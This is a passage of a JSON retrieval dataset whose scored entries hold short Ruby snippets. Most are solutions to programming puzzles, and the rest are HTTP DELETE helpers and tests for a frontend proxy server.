"31b17baab1d625ddc147e791086d05a9", "score": "0.5682962", "text": "def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend", "title": "" }, { "docid": "03d94266da4f853f28081559dfa20f31", "score": "0.56812906", "text": "def solution(a)\n # write your code in Ruby 2.2\n counts = {}\n missing = -1\n\n a.each do |a_i|\n counts[a_i] = counts[a_i].to_i + 1\n end\n\n (1..a.length).each do |i|\n if(counts[i].nil?)\n missing = i\n break\n end\n end\n\n if(missing == -1)\n missing = a.length + 1\n end\n\n missing\nend", "title": "" }, { "docid": "e293be50a7797e52157d79246e3acf7f", "score": "0.56812835", "text": "def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend", "title": "" }, { "docid": "a1d0ab84f51d63c330c1975d0d8199cb", "score": "0.5681141", "text": "def solve\n 1.upto(100).inject(:*).to_s.split('').map{|x| x.to_i}.inject(:+)\nend", "title": "" }, { "docid": "4365770b9ed1ce1d1afda189262f2978", "score": "0.56779176", "text": "def solution(a)\n # write your code in Ruby 2.2\n\n # sort a\n a = a.sort\n odd = 0\n\n # loop over the array\n (0..(a.length-1)).step(2) do |i|\n if((i+1 >= a.length) || ((i+1 < a.length) && (a[i] != a[i+1])))\n odd = a[i]\n break\n end\n end\n\n odd\nend", "title": "" }, { "docid": "7be80e9f81c75b087e989f33ba8092e7", "score": "0.5677591", "text": "def solution(a)\n # write your code in Ruby 2.2\n permutation = Array(1..a.size)\n # puts permutation\n return 1 if permutation - a == []\n 0\nend", "title": "" }, { "docid": "a34136b252942a79b5bed070aeb1febc", "score": "0.56744456", "text": "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "title": "" }, { "docid": "6382e169d9a2f48d6306d3ba92eee028", "score": "0.5673616", "text": "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "title": "" }, { "docid": "f7613aae5d648335b2424bf21c0a08b3", "score": "0.56711394", "text": "def solution1(seeds)\n turn_map = {}\n seeds.each_with_index { |n, turn| turn_map[n] = [1, turn + 1, turn + 1] }\n last_number = seeds.last\n\n ((seeds.length+1)..2020).each do |turn|\n last_stats = turn_map[last_number]\n if last_stats[TIMES_SPOKEN] == 1\n zero = turn_map[0] || [0, turn, turn]\n zero[TIMES_SPOKEN] += 1\n zero[FIRST_SPOKEN] = zero[LAST_SPOKEN]\n zero[LAST_SPOKEN] = turn\n \n turn_map[0] = zero\n last_number = 0\n else\n age = last_stats[LAST_SPOKEN] - last_stats[FIRST_SPOKEN]\n\n num = turn_map[age] || [0, turn, turn]\n num[TIMES_SPOKEN] += 1\n num[FIRST_SPOKEN] = num[LAST_SPOKEN]\n num[LAST_SPOKEN] = turn\n \n turn_map[age] = num\n last_number = age\n end\n end\n\n last_number\nend", "title": "" }, { "docid": "528b737d0e56fa36ed3c9a0bc7d2dece", "score": "0.56703496", "text": "def decent_number(n)\n\tleft = 0\n\tright = 0\n\t(n+1).times do |i|\n\t\tleft = n - i \n\t\tright = n - left\n\t#\tputs \"#{left}%3 = #{left%3} | #{right}%5 = #{right%5}\"\n\t\tbreak if left % 3 == 0 && right % 5 == 0\n\tend\n\t#puts \"**l = #{left} r = #{right}\"\n\n\tif left % 3 == 0 && right % 5 == 0\n\t\tfives = \"5\"*left\n\t\tthrees = \"3\"*right\n\t\tputs fives+threes\n\telse\n\t\tputs -1\n\tend\nend", "title": "" }, { "docid": "0f49d385cd56e85eb594c1768100b14d", "score": "0.566723", "text": "def apply_solution array\n\n # Reverse the String to iterate right to left JUST because is easier :P\n index = find_small_neighbors array.reverse!\n \n return \"no answer\" unless index\n\n # Find rightmost successor to pivot in the suffix\n sec_index = array.index(array.slice(0..index).select{ |num| num > array[index] }.sort.first)\n # Swap with pivot\n array[index], array[sec_index] = array[sec_index], array[index]\n\n # Reverse the suffix REVERT rathern than sort\n solution = array.slice!(0..index-1).sort.join.reverse\n solution << array.join\n return solution.reverse\nend", "title": "" }, { "docid": "0aa09472665c70abc282193fe8d5a990", "score": "0.56617934", "text": "def featured2(number)\n number += 1\n number += 1 until number.odd? && number % 7 == 0\n\n loop do\n number_chars = number.to_s.split('')\n return number if number_chars.uniq == number_chars\n number += 14\n break if number >= 9_876_543_210\n end\n\n 'There is no possible number that fulfills those requirements.'\nend", "title": "" }, { "docid": "70beafc23045715e7fda738e773a4e68", "score": "0.5661008", "text": "def is_happy(n)\n return false if n < 10 && n % 2 == 0\n return false if n < 1 \n return true if n == 1\n \n sum = 0\n\n nsplit = n.to_s.split(\"\")\n nsplit.each do |i|\n sum += (i.to_i * i.to_i)\n end\n\n return is_happy(sum)\n \nend", "title": "" }, { "docid": "768f5d24f771c370ceacdbb01f661f1b", "score": "0.56578726", "text": "def minimumBribes(q)\n bribes = 0\n q.reverse.each_with_index do |n, i|\n if q[i] - (i + 1) > 2\n bribes = \"Too chaotic\"\n break\n end\n j = [0, q[i] - 2].max\n while j < i\n if q[j] > q[i]\n bribes += 1\n end\n j += 1\n end\n end\n puts bribes\nend", "title": "" }, { "docid": "4eadcb8c3b80185bf247d37fca6ee635", "score": "0.56549114", "text": "def num_decodings(s)\n\n decode = ('A'..'Z').to_a\n number_of_prev_ended_singly = 1\n\n ways_count = 1\n number_of_prev_ended_singly = 1\n\n s.chars[1..-1].each_with_index do |ch, idx|\n if s[idx - 1].to_i == 1 ||\n s[idx - 1] == 2.to_i && ch.to_i.between?(1,6)\n\n numbers_added_this_time = ways_count - number_of_prev_ended_singly\n ways_count += numbers_added_this_time\n number_of_prev_ended_singly = numbers_added_this_time\n else\n number_of_prev_ended_singly = 0\n end\n end\n\n ways_count\n\nend", "title": "" }, { "docid": "f0bd974b3615b717ae12eb99b586ff24", "score": "0.56503266", "text": "def solution(digits)\n\tstop = digits.length - 4\n\tgo = 0\n\tlargest_number = 0\n\tindex = 0\n\n\twhile go < stop\n\t\ttest = \"\"\n\t\textra_index = index\n\t\t5.times do \n\t\t\ttest += digits[extra_index].to_s\n\t\t\textra_index += 1 \n\t\tend\n\t\tif test.to_i > largest_number\n\t\t\tlargest_number = test.to_i\n\t\tend \n\t\tindex += 1\n\t\tgo += 1 \n\tend \n\tlargest_number\nend", "title": "" }, { "docid": "adeefa98b6bdede7b1acc83bb93cab48", "score": "0.56496906", "text": "def solution(a)\n return 0 if a.length < 3\n a.sort!\n\n for i in 0..(a.length - 3)\n return 1 if a[i] + a[i + 1] > a[i + 2]\n end\n return 0\nend", "title": "" }, { "docid": "e401a0891e8f3ba4745500bd3b55e994", "score": "0.56466186", "text": "def luhns(a)\n\tb = a.to_s[0..-2].reverse.split(\"\").to_a.map{|v|v.to_i}\n\t(b.each_index{|i|i.even? ? b[i]=b[i]*2>9?b[i]*2-9:b[i]*2:i=i}.inject(:+)+a)%10==0\nend", "title": "" }, { "docid": "085d7fd643938eede065145210a1d8d9", "score": "0.56454724", "text": "def clumsy(n)\n a = (1..n).to_a.reverse\n \n result = [a[0]]\n \n a[1..a.size - 1].each_with_index do |num, index|\n if index % 4 == 0\n result << '*'\n elsif index % 4 == 1 \n result << '/'\n elsif index % 4 == 2\n result << '+'\n else\n result << '-'\n end\n \n result << num\n end\n \n result = multiply_and_divide_all_results(result)\n \n add_and_subtract_all_results(result)\nend", "title": "" }, { "docid": "d744b037d3ee6458a3d4c99f4c1aead8", "score": "0.5642221", "text": "def solution(a)\n ans = 0\n for i in 1 .. (a.length - 1)\n ans += a[i]\n end \n ans\nend", "title": "" }, { "docid": "818cbfb6db1806a835a7a0f03f2a2fd4", "score": "0.56390387", "text": "def part_two(input)\n found = false\n cleaned = input.each_with_index.map { |v, i| [v, i] unless v == 'x' }.compact\n iter = cleaned.map(&:first).max\n index = cleaned.map(&:first).find_index(iter)\n t = iter\n until found\n t += iter\n puts \"#{t}\"\n found = true\n v = t - index\n cleaned.each do |bus, i|\n if (v + i) % bus != 0\n found = false\n break\n end\n end\n end\n t\nend", "title": "" }, { "docid": "73d1aa4ccc53e037d7f9b2c46c5ca501", "score": "0.5634947", "text": "def solution(number)\n sum = 0\n Array(1..number-1).each do |i|\n if i % 3 == 0 || i % 5 == 0\n sum += i\n end\n end\n sum\nend", "title": "" }, { "docid": "b558f41a92a195a411fdbfcf8ce2eae7", "score": "0.5630215", "text": "def solution(a)\n cars_going_east = [0]\n\n a.each do |direction|\n next_counter = direction.zero? ? cars_going_east.last + 1 : cars_going_east.last\n cars_going_east << next_counter\n end\n\n passings = 0\n a.each_with_index do |direction, index|\n passings += cars_going_east[index] if direction == 1\n end\n\n return -1 if passings > 1000000000\n passings\nend", "title": "" }, { "docid": "6e33c10b282141992a38f8fd30d5a452", "score": "0.5627759", "text": "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "title": "" }, { "docid": "e0b90baba02a56680354d50ae3a6cb11", "score": "0.5622068", "text": "def find_self_dividing(number_strings)\n output = []\n number_strings.each do |num_string|\n number = num_string.join(\"\").to_i\n divisibles_in_array = find_divisibles(number, num_string)\n\n if divisibles_in_array.join(\"\").to_i == number\n output << number\n end\n end\n output\nend", "title": "" }, { "docid": "0250d227f29a83d9cd2ac26c8fcd7fcf", "score": "0.5621606", "text": "def solution(a)\n a.sort!\n a.each_with_index do |element, index|\n return 0 if element != index + 1\n end\n 1\nend", "title": "" }, { "docid": "5f02d7ebc08c70831b6203c0e7147c69", "score": "0.5621217", "text": "def pzoe\n sum = 0\n (0..9).each do |a|\n (0..9).each do |b|\n (0..9).each do |c|\n (0..9).each do |e|\n (0..9).each do |f|\n (0..9).each do |g|\n sum += a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g if a * 100000 + b * 10000 + c * 1000 + e * 100 + f * 10 + g == a ** 5 + b ** 5 + c ** 5 + e ** 5 + f ** 5 + g ** 5\n end\n end\n end\n end\n end\n end\n sum - 1\nend", "title": "" }, { "docid": "288f6b6d43efee7ac5b4da11d2cab699", "score": "0.56188893", "text": "def fold_array(array, runs)\n solution = []\n\n\n if runs ==1 and array.length == 1\n solution.push(array[0])\n return solution\n####################\n elsif runs == 1\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n return solution\n#######################\n elsif runs == 2\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n nextrun = solution\n if nextrun.length.even?\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-2) do |x|\n solution[x] = nextrun[x] + nextrun[array.length - (x+1)]\n end\n solution.push(nextrun[mid] + nextrun[mid - 1])\n else\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n end\n return nextrun\n########################\n elsif runs == 3\n if array.length.even?\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-2) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n end\n solution.push(array[mid] + array[mid - 1])\n else\n mid = array.length / 2\n midpoint = array[mid]\n 0.upto(mid-1) do |x|\n solution[x] = array[x] + array[array.length - (x+1)]\n solution[mid] = midpoint\n end\n end\n nextrun = solution\n if nextrun.length.even?\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-2) do |x|\n solution[x] = nextrun[x] + nextrun[array.length - (x+1)]\n end\n solution.push(nextrun[mid] + nextrun[mid - 1])\n else\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n end\n ######\n mid = nextrun.length / 2\n midpoint = nextrun[mid]\n 0.upto(mid-1) do |x|\n solution[x] = nextrun[x] + nextrun[nextrun.length - (x+1)]\n solution[mid] = midpoint\n nextrun.pop\n end\n return nextrun\n #return [nextrun[0] + nextrun[1]] if nextrun.length == 2\n\n\n end\n\n\n\nend", "title": "" }, { "docid": "30fca2eaf2c7c4b01daf44797e813d1e", "score": "0.56179947", "text": "def solve(arr)\n answer = \"Every num has a match.\"\n arr.each do |num|\n if !arr.include?(num * -1)\n answer = num\n end\n end\n answer\nend", "title": "" }, { "docid": "721148ea8ce7cab0262558415d5c5dbd", "score": "0.561792", "text": "def funny string\n arr = string.chars\n count = 0\n arr.each_with_index do |x,xi|\n if xi > 0\n s1 = (x.ord - arr[xi-1].ord).abs\n s2 = (arr[-(xi+1)].ord - arr[-xi].ord).abs\n s1 == s2 ? count +=1 : break\n end\n end\n puts count == arr.size-1 ? 'Funny' : 'Not Funny'\nend", "title": "" }, { "docid": "890812e1620b10db01ad9be1d135a360", "score": "0.56161076", "text": "def pe52(startAt, endAt)\n (startAt..endAt).step(6).each do |x|\n bNum = x/6\n bNumCSort = bNum.to_s.chars.sort\n next if bNumCSort != x.to_s.chars.sort\n next if bNumCSort != (bNum*5).to_s.chars.sort\n next if bNumCSort != (bNum*4).to_s.chars.sort\n next if bNumCSort != (bNum*3).to_s.chars.sort\n next if bNumCSort != (bNum*2).to_s.chars.sort\n return bNum\n end\n false\nend", "title": "" }, { "docid": "f3492c4f74b464b678df3a67cc625402", "score": "0.561509", "text": "def solve(nums)\n count = 0\n nums.each do |num|\n if num.to_s.length % 2 != 0\n count += 1\n end\n end\n return count\nend", "title": "" }, { "docid": "117c87d58d65c200c96d2cff27c53f7c", "score": "0.5612984", "text": "def hackerrankInString(str)\n expected_chars = %w[h a c k e r r a n k]\n input_chars = str.chars\n\n str.chars.each do |char|\n # Thought so, apparently not: Edge case: there should be no more chars after the last 'k' in hackerrank.\n # break if expected_chars.empty?\n\n input_chars.shift\n expected_chars.shift if char == expected_chars[0]\n end\n\n expected_chars.empty? && input_chars.empty? ? 'YES' : 'NO'\nend", "title": "" }, { "docid": "0fd5636402d96611a2405a8ceb2921d8", "score": "0.56084585", "text": "def solve(n, s, d, m)\n # Complete this function\n records = s;\n\n (1...n).each do |i|\n records[i] += records[i-1]\n end\n\n numberOfWays = (m <= n && records[m - 1] == d) ? 1 : 0;\n\n (m...n).each do |i|\n if records[i] - records[i - m] == d\n numberOfWays += 1\n end\n end\n\n numberOfWays\n\nend", "title": "" }, { "docid": "a6c0407e7795e5c1706eb42edfd6b956", "score": "0.56083214", "text": "def solution(a)\n # write your code in Ruby 2.2\n numbers = Array(1..(a.size + 1))\n res = numbers - a\n res[0]\nend", "title": "" }, { "docid": "78dbe5c66c3c7dac5a025f544ef86461", "score": "0.5607338", "text": "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "title": "" }, { "docid": "1af06037ceb26d827cb8f87799bf8f15", "score": "0.56047934", "text": "def solution(n)\n siblings = n.to_s.chars.each_slice(1).to_a\n siblings.sort {|x,y| -(x <=> y)}.join.to_i\nend", "title": "" }, { "docid": "bd8711e5d420c72c21df6330d29db5d4", "score": "0.5599046", "text": "def solve_zero_vs_six_vs_nine\n return if @arr[1].nil? || @arr[4].nil?\n\n #p \"1,4: #{@arr[1]},#{@arr[4]}\"\n\n @words.filter{|x| x.length == 6 && @hash[x].nil?}.each{|w|\n if @arr[4].chars.all?{|c| w.chars.include?(c)}\n solved(9, w)\n elsif @arr[1].chars.all?{|c2| w.chars.include?(c2)}\n solved(0, w)\n else\n solved(6, w)\n end\n }\n end", "title": "" }, { "docid": "fa19fb3e173b39905bda2a9921e42992", "score": "0.5592993", "text": "def solution(digits)\n result = 0\n digits.size.times do |n|\n new_number = digits[n...(n + 5)].to_i\n result = new_number if new_number > result\n end\n result\nend", "title": "" }, { "docid": "7f53d80dd9bf2b8fcf54ce085b67fb76", "score": "0.5589165", "text": "def answer\n composition = 1\n array = ['2,3,4,5']\n puts array\n array.split(',')\n #@inputArray = array\n #array.map!{|x| x.to_i}\n puts array\n #lastEvenIndex = last_even(array)\n #array.each_index {|x| composition*=array[x] if (array[x]%7).zero?}\n #array[lastEvenIndex] = composition\n #@modifiedArray = array\nend", "title": "" }, { "docid": "3f54381f59bea3e7c2712856be90c18a", "score": "0.5589122", "text": "def featured(number)\n sum = 7\n loop do \n return \"There is no possible number that fulfills those requirements\" if number >= 9_876_543_210\n if sum <= number\n sum += 7\n elsif sum.even?\n sum += 7\n elsif sum.digits.uniq != sum.digits\n sum += 7\n else\n break\n end\n end\n sum\nend", "title": "" }, { "docid": "b8247964d2fa40a4082efcb16de2f0a0", "score": "0.55841637", "text": "def day_2_part_2\n noun = 0\n verb = 0\n\n while noun < 100\n while verb < 100\n if compute(noun, verb) == 19690720\n return (100 * noun) + verb\n end\n verb += 1\n end\n noun += 1\n verb = 0\n end\nend", "title": "" }, { "docid": "61cfdc3647f43f1c505f522e570dbf15", "score": "0.5583987", "text": "def solution(n)\n # write your code in Ruby 2.2\n a = Math.sqrt(n).floor\n a -= 1 while n % a != 0\n b = n / a\n (a + b) * 2\nend", "title": "" }, { "docid": "7de4d94e68c137a2f2fb3c5edbca485a", "score": "0.5577303", "text": "def compute\n perimeter = 1000\n (1..(perimeter+ 1)).each do |a|\n ((a + 1)..(perimeter + 1)).each do |b|\n c = perimeter - a - b\n return (a * b * c).to_s if (a * a + b * b == c * c)\n end\n end\nend", "title": "" }, { "docid": "c74d283e5b9fe5d3178eac2980a0d389", "score": "0.55768436", "text": "def solution(n)\n (1..n).to_a.join.chars.map(&:to_i).sum\nend", "title": "" }, { "docid": "474c3f8b84bf18c9502bfed9d58af8bb", "score": "0.55762637", "text": "def solve(s)\n s.split(/[aeiou]/).map{ |x| x.sum - x.size * 96 }.max\nend", "title": "" }, { "docid": "0762028bcd8c84b0f1a3316d736cc689", "score": "0.55756885", "text": "def joltageDiff(input)\n # add my input device with rating +3\n input.append(input.max + 3)\n arr = input\n .sort\n .reverse\n \n diffs = arr\n .map.with_index{ |n, i|\n if i < arr.size - 1\n n - arr[i+1]\n end\n }\n diffs.pop # remove last element\n # puts diffs.sort\n counts = [0, 0, 0]\n counts[0] = diffs.select{ |n| n == 1 }.size + 1 # fuck knows why this is here.. #dirtyhack\n counts[1] = diffs.select{ |n| n == 2 }.size\n counts[2] = diffs.select{ |n| n == 3 }.size\n #puts counts\n return counts\nend", "title": "" }, { "docid": "f83beee7264f19ff23fa689c617bcfb2", "score": "0.55735177", "text": "def hard(input)\n to = input / 10\n houses = Array.new(to, 0)\n (1..to).each do |n|\n count = 0\n n.step(by: n, to: to - 1) do |i|\n houses[i] += 11 * n\n count += 1\n break if count == 50\n end\n end\n houses.index { |count| count >= input }\nend", "title": "" }, { "docid": "78bf880151361ed64e96ddc834ff7fdf", "score": "0.5573079", "text": "def solution_one\n x = 0\n (1..999).each do |i|\n if (i % 5) == 0 || (i % 3) == 0\n x = x + i\n end\n end\n x\nend", "title": "" }, { "docid": "2c51f61f14d1a19900bf2768b4180aa0", "score": "0.5572841", "text": "def solve_two_vs_three_vs_five\n return if @arr[1].nil? || @arr[6].nil?\n\n #p \"1,6: #{@arr[1]},#{@arr[6]}\"\n\n @words.filter{|x| x.length == 5 && @hash[x].nil?}.each{|w|\n if @arr[1].chars.all?{|c| w.chars.include?(c)}\n solved(3, w)\n elsif w.chars.all?{|c2| @arr[6].chars.include?(c2)}\n solved(5, w)\n else\n solved(2, w)\n end\n }\n end", "title": "" } ]
d98913f7a69789ba00b69876c7861684
Ensures that a nonzero response from the system proxy delete call and the ignore errors flag disables results in an exception bubbling.
[ { "docid": "647bd239cc9193531fc2e4abde2f28ec", "score": "0.6393242", "text": "def test_delete_all_ignore\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_delete).with(anything, anything, anything, anything, anything).returns(['Stdout', 'Stderr', 1]).once\n\n assert_raises OpenShift::FrontendProxyServerException do\n proxy.delete_all_for_uid(uid, false)\n end\n end", "title": "" } ]
[ { "docid": "cebee8566df3d485662b64fd680545e8", "score": "0.6619321", "text": "def test_delete_failure\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).with(35531).returns(\"127.0.0.1:8080\").once\n proxy.expects(:system_proxy_delete).with(35531).returns(['Stdout', 'Stderr', 1]).once\n\n assert_raises OpenShift::FrontendProxyServerException do\n proxy.delete(uid, \"127.0.0.1\", 8080)\n end\n end", "title": "" }, { "docid": "1b8af1ebb44afb91224a646cc71b73e8", "score": "0.63351315", "text": "def test_delete_nonexistent\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).returns(nil).at_least_once\n proxy.expects(:system_proxy_delete).never\n\n proxy.delete(uid, \"127.0.0.1\", 8080)\n end", "title": "" }, { "docid": "ad4ae6820a832b11b2733b21df368a1a", "score": "0.6126118", "text": "def test_delete_success\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_show).with(35531).returns(\"127.0.0.1:8080\").once\n proxy.expects(:system_proxy_delete).with(35531).returns(['', '', 0]).once\n\n proxy.delete(uid, \"127.0.0.1\", 8080)\n end", "title": "" }, { "docid": "32490a690eaf29330748793cedac12dd", "score": "0.5985047", "text": "def cleanup\n for _ in 1..@attempts\n begin\n [email protected](@path)\n return true if @oks.include?(resp.status)\n rescue Exception => ex\n STDERR.puts \"WARNING: #{ex}\"\n end\n end\n STDERR.puts \"ERROR: Could not DELETE #{@path}\"\n false\n end", "title": "" }, { "docid": "e43155cd13ed3eff5ec9ce901e0fe663", "score": "0.59690833", "text": "def send_delete_request(path)\n response = self.class.delete(path)\n # need auth\n case (response.code)\n when 200\n # just continue\n when 401\n authenticate(response)\n response = self.class.delete(path)\n else\n end\n if response.code != 200 && response.code != 202\n throw \"Could not finish request, status #{response.code}\"\n end\n response\n end", "title": "" }, { "docid": "2f21b71feab0ed3391ca604c3e838f9b", "score": "0.5940798", "text": "def test_delete_preconditions_failed\n request = Http::Request.new(\n 'DELETE',\n '/file1',\n 'If-Match' => \"\\\"#{Digest::MD5.hexdigest('bar')}\\\"\"\n )\n\n response = self.request(request)\n\n assert_equal(\n 412,\n response.status,\n \"Incorrect status code. Response body: #{response.body_as_string}\"\n )\n end", "title": "" }, { "docid": "157ccdc122587ab93cb6e0d1289becb4", "score": "0.59390354", "text": "def http_delete(request, response)\n path = request.path\n\n return false unless @server.emit('beforeUnbind', [path])\n\n @server.tree.delete(path)\n\n @server.emit('afterUnbind', [path])\n\n response.status = 204\n response.update_header('Content-Length', '0')\n\n # Sending back false will interupt the event chain and tell the server\n # we've handled this method.\n false\n end", "title": "" }, { "docid": "0e96bff4dd3ff7c238bdad8cd2897206", "score": "0.59091663", "text": "def test_delete_all_success\n proxy = OpenShift::FrontendProxyServer.new\n\n uid = 500\n\n proxy.expects(:system_proxy_delete).with(anything, anything, anything, anything, anything).returns(['', '', 0]).once\n\n proxy.delete_all_for_uid(uid, false)\n end", "title": "" }, { "docid": "3bc06130152de6ec301a1def5005bf1f", "score": "0.5859617", "text": "def test_delete_not_found\n request = Http::Request.new('DELETE', '/file2')\n response = self.request(request)\n\n assert_equal(\n 404,\n response.status,\n \"Incorrect status code. Response body: #{response.body_as_string}\"\n )\n end", "title": "" }, { "docid": "59df6d20d2d13674fb4c2239da34649a", "score": "0.58362985", "text": "def delete_request(client)\n begin\n client.delete\n rescue OpenSSL::SSL::SSLError => e\n raise \"SSLError occurred when calling REST service; #{e}\"\n rescue RestClient::Exception => e # if the request failed, RestClient will throw an error. We want to retrieve that error and the response within\n puts \"RestClient::Exception hit when calling REST service\"\n puts e\n puts e.response\n return e.response\n rescue => e\n raise \"Unexpected error occurred when calling REST service; #{e}\"\n end\n end", "title": "" }, { "docid": "140e840d2719f852abcca515701dfa32", "score": "0.57584834", "text": "def http_delete(opts={})\n ret=http_delete_low(opts)\n if ret.is_a?(Hash) and ret.has_key?('error') and ret['error']=='Invalid Credentials' then\n\tauthdefault\n\tret=http_delete_low(opts)\n\treturn ret\n else\n\treturn ret\n end\n end", "title": "" }, { "docid": "cc1f7ad1bb7d12b26509aa92b84464d0", "score": "0.57583666", "text": "def delete(url, headers={}, http_options={})\n # determine the http options\n redirect_limit = http_options[:max_redirects] || max_redirects\n gateway_retries = http_options[:gateway_retry_limit] || gateway_retry_limit\n gateway_delay = http_options[:gateway_retry_delay] || gateway_retry_delay\n\n # parse the URL\n uri = URI.parse(url)\n\n # build the http object\n http = build_http(uri)\n # build the request\n request = Net::HTTP::Delete.new(uri.request_uri, headers)\n\n # send the request\n begin\n response = http.request(request)\n # handle the response\n case response\n # handle 302\n when Net::HTTPRedirection then\n if redirect_limit == -1\n HttpResponse.new(response)\n elsif redirect_limit == 0\n raise Net::HTTPFatalError.new(\"Too many redirects\", response)\n else\n delete(response['location'], headers, http_options.merge({\n :max_redirects => redirect_limit - 1\n }))\n end\n # handle 502, 503, 504\n when Net::HTTPBadGateway, Net::HTTPServiceUnavailable, Net::HTTPGatewayTimeOut then\n if gateway_retries == -1\n HttpResponse.new(response)\n elsif gateway_retries == 0\n Kinetic::Platform.logger.info(\"HTTP response: #{response.code} #{response.message}\")\n raise Net::HTTPFatalError.new(\"#{response.code} #{response.message}\", response)\n else\n Kinetic::Platform.logger.info(\"#{response.code} #{response.message}, retrying in #{gateway_delay} seconds\")\n sleep(gateway_delay)\n delete(url, headers, http_options.merge({\n :gateway_retry_limit => gateway_retries - 1\n }))\n end\n when Net::HTTPUnknownResponse, NilClass then\n Kinetic::Platform.logger.info(\"HTTP response code: 0\")\n e = Net::HTTPFatalError.new(\"Unknown response from server\", response)\n HttpResponse.new(e)\n else\n Kinetic::Platform.logger.info(\"HTTP response code: #{response.code}\")\n HttpResponse.new(response)\n end\n rescue Net::HTTPBadResponse => e\n Kinetic::Platform.logger.info(\"HTTP bad response: #{e.inspect}\")\n HttpResponse.new(e)\n rescue StandardError => e\n Kinetic::Platform.logger.info(\"HTTP error: #{e.inspect}\")\n HttpResponse.new(e)\n end\n end", "title": "" }, { "docid": "e9108f141f6289f890e3e83afc265041", "score": "0.57566607", "text": "def delete_host(fqdn, url, cookie)\n begin\n # set the headers\n headers = {\n :content_type => :json,\n :accept => :json,\n 'Cookie' => cookie,\n 'Referer' => url\n }\n\n # set the payload\n payload = {\n :method => 'host_del',\n :params => [\n [ fqdn ],\n {\n :continue => false,\n :updatedns => true\n }\n ]\n }\n\n # get response and convert to json\n response = call_rest(:post, url, headers, 'session/json', JSON.generate(payload))\n\n # validate response and return system object\n if response\n log(:info, \"delete_host: Response body: #{response.body}\") if @debug\n if response.code == DELETE_HOST_SUCCESS_CODE\n errors = JSON.parse(response.body)['error']\n log(:info, \"delete_host: The following errors were logged during the previous REST call: #{errors.inspect}\")\n\n # NOTE: success code 4001 indicate the host didn't exist\n if errors.nil? || errors['code'].to_i == 4001\n log(:info, \"delete_host: Successfully deleted host object for system: #{fqdn}\")\n return true\n else\n log(:warn, \"delete_host: Unable to delete system: #{fqdn} from IDM\")\n raise \"Please review the following errors: #{errors.inspect}\"\n end\n else\n log(:warn, \"delete_host: Unable to retrieve node object from PuppetDB for system: #{fqdn}. Returning false\")\n return false\n end\n else\n raise \"Invalid Response: #{response.inspect}\"\n end\n rescue => err\n # log and backtrace the error\n log(:error, \"[#{err}]\\n#{err.backtrace.join(\"\\n\")}\")\n log(:error, \"delete_host: #{err}. Returning false\")\n return false\n end\nend", "title": "" }, { "docid": "fac10075f4c4936e37f2aada57b47f8a", "score": "0.57099384", "text": "def delete(*args)\n delete!(*args)\n rescue *exceptions\n false\n end", "title": "" }, { "docid": "d1f5d16765d5c975f7651cf790a6ea9e", "score": "0.5682907", "text": "def delete\n trap_exception { delete! }\n end", "title": "" }, { "docid": "82ce5431ae1a9d4b1ccca89d9c5edc0e", "score": "0.563948", "text": "def delete\n client.delete(api_path)\n true\n rescue Error::HTTPError\n false\n end", "title": "" }, { "docid": "82ce5431ae1a9d4b1ccca89d9c5edc0e", "score": "0.563948", "text": "def delete\n 